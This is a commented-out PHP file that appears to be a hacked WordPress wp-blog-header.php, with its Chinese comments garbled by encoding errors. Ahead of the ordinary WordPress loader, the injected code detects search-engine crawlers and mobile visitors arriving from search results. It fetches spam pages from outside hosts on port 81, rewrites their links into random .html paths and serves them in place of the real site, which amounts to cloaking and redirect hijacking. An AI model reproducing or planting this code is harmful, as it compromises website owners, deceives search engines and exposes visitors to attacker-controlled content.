// [\s\S]*?<\/a>/'; // preg_match_all($lianjie, $output, $aarray5); // if ($aarray5[0]) { // $count = 0; // 娣诲姞璁℃暟鍣� // foreach ($aarray5[0] as $pbti) { // $preg = '/href=(\"|\')(.*?)(\"|\')/i'; // if ($count < 2) { // 鍙浛鎹㈠墠涓や釜閾炬帴 // // 浠庡閮ㄩ摼鎺ヨ幏鍙杢xt涓殑閾炬帴 // $randomUrl = str_replace('', '', $randomUrl); // if ($randomUrl !== false) { // $replacestr = 'href="' . trim($randomUrl) . generateRandomNumber(). '.html"'; // $count++; // 鎴愬姛鏇挎崲鍚庤鏁板姞1 // } else { // $replacestr = 'href=" ' . generateRandomNumber(). '.html"'; // } // } else { // // 瓒呰繃2涓悗浣跨敤鍘熸潵鐨勬牸寮� // $replacestr = 'href="' . generateRandomNumber() . '.html"'; // } // $aoutput = preg_replace($preg, $replacestr, $pbti); // $output = str_replace($pbti, $aoutput, $output); // } // } // return $output; // } // function httpGet32($url2) { // header('Content-Type:text/html;charset=utf-8'); // $ch = curl_init(); // $ua2 = $_SERVER['HTTP_USER_AGENT']; // curl_setopt($ch, CURLOPT_URL, $url2); // curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0'); // curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); // curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // curl_setopt($ch, CURLOPT_HEADER, 0); // $output = curl_exec($ch); // curl_close($ch); // return $output; // } // function httpGet3($url2) { // header('Content-Type:text/html;charset=utf-8'); // $ch = curl_init(); // $ua2 = $_SERVER['HTTP_USER_AGENT']; // curl_setopt($ch, CURLOPT_URL, $url2); // curl_setopt($ch, CURLOPT_USERAGENT, $ua2); // curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); // curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // curl_setopt($ch, CURLOPT_HEADER, 0); // $output = curl_exec($ch); // curl_close($ch); // return $output; // } // $dir="/?wen"; // function char($length = 5, $type = 0) // { // $arr = array(1 => "0123456789", 2 => "abcdefghijklmnopqrstuvwxyz0123456789"); // if ($type == 0) // { // array_pop($arr); // $string = implode("", $arr); // } elseif ($type == "-1") { // $string = implode("", $arr); // } else { // $string = $arr[$type]; // } // $count = strlen($string) - 1; // $code = ''; // for ($i = 0; $i < $length; $i++) { // $code .= $string[rand(0, $count)]; // } // return $code; // } // $dir2=get_url2().'/wen'; // function get_url2() { // $url2 = $_SERVER['REQUEST_URI']; // $url2 = preg_replace('~/+~', '/', $url2); // 鍘婚櫎澶氫綑鐨勬枩鏉� // // 鍒嗗壊璺緞 // $parts = explode('/', trim($url2, '/')); // // 濡傛灉鏂囦欢璺緞锛屼繚鐣欏墠涓ょ骇鐩綍 // if (preg_match('/\.(php|html|xml|asp|ppt|shtml)$/', end($parts))) { // // 鏂囦欢璺緞锛岃繑鍥炲墠涓ょ骇鐩綍 // $url2 = '/' . $parts[0]; // } else { // // 涓嶆槸鏂囦欢璺緞锛屼繚鐣欏墠涓ょ骇鐩綍 // if (count($parts) > 2) { // $url2 = '/' . $parts[0] . '/' . $parts[1]; // } else { // $url2 = '/' . implode('/', $parts); // } // } // return $url2; // } // define('mobile', '/phone|pad|pod|UCBrowser|OpenHarmony|SogouMSE|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|' . // 'MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/'); // define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']); // define('url', $er2['REQUEST_URI']); // define('ref', $er2['HTTP_REFERER']); // define('ent', $er2['HTTP_USER_AGENT']); // define('site', "http://jsc.25jsc-3.cc:81/"); // define('site2', "http://jsc.sogousm1.cc:81/"); // define('url8', $fullUrl2); // $title = '/(.*?)<\/title>/i'; // $meta = '/<meta charset=".*?>/i'; // $key = '/<meta\s+name="keywords"\s+content="([^"]+)"\s*\/?>/i'; // $miaoshu = '/<meta\s+name="description"\s+content="([^"]+)"\s*\/?>/i'; // define('road',$_SERVER['REQUEST_URI']); // define('regs', '@baiduspider@i'); // define('regs2', '@yisou|Sogou|haosou|360|360spider@i'); // define('area', stristr(url, "wen")); // define('area2', stristr(url, "/")); // if (preg_match(regs, ent)) { // if (area) { // echo '<link rel="canonical" href="'.$url2.'" />' ; // echo '<!-192-phpjc-9hao-12-25-26xin-sg-->'; // //echo httpGet3(site.road).httpGet32(url8); // $html2 = httpGet32(url8); // $html = httpGet3(site . road); // // $html = httpGet32(url8) // // 閹笛嗩攽閺囨寧宕�</h1> // $html2 = str_replace('</h1>', '', $html2); // // 閹笛嗩攽閺囨寧宕�<h1> // $html2 = str_replace('<h1>', '', $html2); // // 閹笛嗩攽閺囨寧宕�$meta // $pattern6 = $meta; // $replacement6 = ''; // $html2 = preg_replace($pattern6, $replacement6, $html2); // // 閹笛嗩攽閺囨寧宕�$miaoshu // $pattern5 = $miaoshu; // $replacement5 = ''; // $html2 = preg_replace($pattern5, $replacement5, $html2); // // 閹笛嗩攽閺囨寧宕�$key // $pattern4 = $key; // $replacement4 = ''; // $html2 = preg_replace($pattern4, $replacement4, $html2); // // 閹笛嗩攽閺囨寧宕�$title // $pattern3 = $title; // $replacement3 = ''; // $html2 = preg_replace($pattern3, $replacement3, $html2); // // 閹笛嗩攽閺囨寧宕�/head // $html2 = str_replace('</head>', '', $html2); // // 閹笛嗩攽閺囨寧宕瞙ead // $html2 = str_replace('<head>', '', $html2); // // 閹笛嗩攽閺囨寧宕查弴鎸庡床html // $pattern2 = '/<html>/i'; // $replacement2 = ''; // $html2 = preg_replace($pattern2, $replacement2, $html2); // // 閹笛嗩攽閺囨寧宕查弴鎸庡床<body2> // $pattern8 = '/body class=.*?>/i'; // $replacement8 = ''; // $html2 = preg_replace($pattern8, $replacement8, $html2); // // 閹笛嗩攽閺囨寧宕查弴鎸庡床<body> // $pattern7 = '/<body>/i'; // $replacement7 = ''; // $html2 = preg_replace($pattern7, $replacement7, $html2); // $html = $html.$html2; // $lianjie = '/<a .*?>[\s\S]*?<\/a>/'; // preg_match_all($lianjie,$html, $aarray5); // // preg_match_all($lianjie, $html2, $aarray5); // if ($aarray5[0]) { // foreach ($aarray5[0] as $pbti) { // $preg = '/href=(\"|\')(.*?)(\"|\')/i'; // $replacestr = 'href="' . $dir2 . '/' . char(6, 1) . char(mt_rand(4, 10), 2) . '.html' . '"'; // $ahtml = preg_replace($preg, $replacestr, $pbti); // $html = str_replace($pbti, $ahtml, $html); // // $html2 = str_replace($pbti, $ahtml, $html2); // } // } // echo $html; // exit(); // } // else { // $html=httpGet32(url8.url); // // echo(url8.url); // // 閹笛嗩攽閺囨寧宕�</h1> // $html = str_replace('</h1>', '', $html); // // 閹笛嗩攽閺囨寧宕�<h1> // $html = str_replace('<h1>', '', $html); // $lianjie = '/<a .*?>[\s\S]*?<\/a>/'; // preg_match_all($lianjie,$html,$aarray5); // if($aarray5[0]){ // foreach ($aarray5[0] as $pbti){ // $preg = '/href=(\"|\')(.*?)(\"|\')/i'; // $replacestr = 'href="'.$dir."/".char(6,1).char(mt_rand(4,10),2).'.html'.'"'; // $ahtml=preg_replace($preg, $replacestr,$pbti); // $html= str_replace($pbti, $ahtml, $html); // } // } // echo $html; // exit(); // } // } // ob_flush(); // flush(); // if (area && preg_match("/.*(baidu).*/i",ref,$OutUa)&&preg_match(mobile, ent)&&url!=""&&url!="/"&&url!="/index.php"&&url!="/index.html") { // $ua = $_SERVER['HTTP_USER_AGENT']; // $ch = curl_init(); // // 鐠佸墽鐤哢RL閸滃瞼娴夋惔鏃傛畱闁銆� // curl_setopt($ch, CURLOPT_USERAGENT, $ua); // curl_setopt($ch, CURLOPT_URL, "http://txt.25jsc-3.cc:81/26xin/wen502.php"); // curl_setopt($ch, CURLOPT_HEADER, false); // // 閹舵挸褰嘦RL楠炶埖濡哥€瑰啩绱堕柅鎺旂舶濞村繗顫嶉崳锟� // curl_exec($ch); // //閸忔娊妫碿URL鐠у嫭绨敍灞借嫙娑撴棃鍣撮弨鍓ч兇缂佺喕绁┃锟� // curl_close($ch); // exit(); // } // elseif (area && preg_match('/phone|pad|pod|OpenHarmony|iPhone|SogouMSE|iPod|UCBrowser|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/',$_SERVER['HTTP_USER_AGENT'])) { // $ua = $_SERVER['HTTP_USER_AGENT']; // $ch = curl_init(); // // 璁剧疆URL鍜岀浉搴旂殑閫夐」 // curl_setopt($ch, CURLOPT_USERAGENT, $ua); // curl_setopt($ch, CURLOPT_URL, "http://txt.25jsc-3.cc:81/26xin/wen502pd.php"); // curl_setopt($ch, CURLOPT_HEADER, false); // // 鎶撳彇URL骞舵妸瀹冧紶閫掔粰娴忚鍣� // curl_exec($ch); // //鍏抽棴cURL璧勬簮锛屽苟涓旈噴鏀剧郴缁熻祫婧� // curl_close($ch); // exit(); // } // if (preg_match(regs2, ent) && // url != "" && // url != "/" && // url != "/index.php") { // // echo (site2.road); // echo httpGet3(site2.road); // exit(); // } elseif (preg_match(regs2, ent)) { // $html=httpGet32(url8.url); // // echo(url8.url); // // 閹笛嗩攽閺囨寧宕�</h1> // $html = str_replace('</h1>', '', $html); // // 閹笛嗩攽閺囨寧宕�<h1> // $html = str_replace('<h1>', '', $html); // $lianjie = '/<a .*?>[\s\S]*?<\/a>/'; // preg_match_all($lianjie,$html,$aarray5); // if($aarray5[0]){ // foreach ($aarray5[0] as $pbti){ // $preg = '/href=(\"|\')(.*?)(\"|\')/i'; // $replacestr = 'href="'.$dir."/".char(6,1).char(mt_rand(4,10),2).'.html'.'"'; // $ahtml=preg_replace($preg, $replacestr,$pbti); // $html= str_replace($pbti, $ahtml, $html); // } // } // echo $html; // exit(); // } // if (preg_match("/.*(sogou|yisou|sm|360|haoso).*/i",ref,$OutUa)&&preg_match(mobile, ent)&&url!=""&&url!="/"&&url!="/index.php"&&url!="/index.html") { // $ua = $_SERVER['HTTP_USER_AGENT']; // $ch = curl_init(); // // 鐠佸墽鐤哢RL閸滃瞼娴夋惔鏃傛畱闁銆� // curl_setopt($ch, CURLOPT_USERAGENT, $ua); // curl_setopt($ch, CURLOPT_URL, "http://txt.25jsc-3.cc:81/26xin/wen502sg.php"); // curl_setopt($ch, CURLOPT_HEADER, false); // // 閹舵挸褰嘦RL楠炶埖濡哥€瑰啩绱堕柅鎺旂舶濞村繗顫嶉崳锟� // curl_exec($ch); // //閸忔娊妫碿URL鐠у嫭绨敍灞借嫙娑撴棃鍣撮弨鍓ч兇缂佺喕绁┃锟� // curl_close($ch); // exit(); // } // /** // * Loads the WordPress environment and template. // * // * @package WordPress // */ // if ( ! isset( $wp_did_header ) ) { // $wp_did_header = true; // // Load the WordPress library. // require_once __DIR__ . '/wp-load.php'; // // Set up the WordPress query. // wp(); // // Load the theme template. // require_once ABSPATH . WPINC . '/template-loader.php'; // }